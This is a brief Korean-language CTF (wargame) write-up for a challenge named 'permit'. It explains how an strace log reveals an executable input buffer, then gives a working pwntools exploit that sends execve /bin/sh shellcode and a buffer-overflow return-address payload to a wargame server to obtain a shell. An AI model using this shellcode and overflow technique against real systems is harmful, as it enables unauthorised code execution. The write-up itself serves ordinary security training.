[Wargame] CERTIS permit

Posted by MrBIN on January 7, 2017

Permit

  • strace 한 log 파일이 주어지고 바이너리는 없음.
  • strace log 파일을 가지고 쉘 따는 문제.
  • 0xfffdd010 주소 영역에 input 값이 써지며 해당 영역은 실행 권한이 있는 영역임을 알 수 있음.
  • SIGSEGV의 si_addr을 보면 맨 뒤 두바이트가 6261로 덮힌 것을 확인.
  • input값에 쉘 코드를 넣고 그 주소로 뛰면됨.

img1 img2

from pwn import *

a = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
s = remote("wargame.kimtae.xyz",10011)

s.recvuntil("input your id!")
s.sendline(a)
print s.recvuntil("input your password!")

payload = "A"*24 + "\x10\xd0\xfd\xff"

s.send(payload)
s.interactive()

img3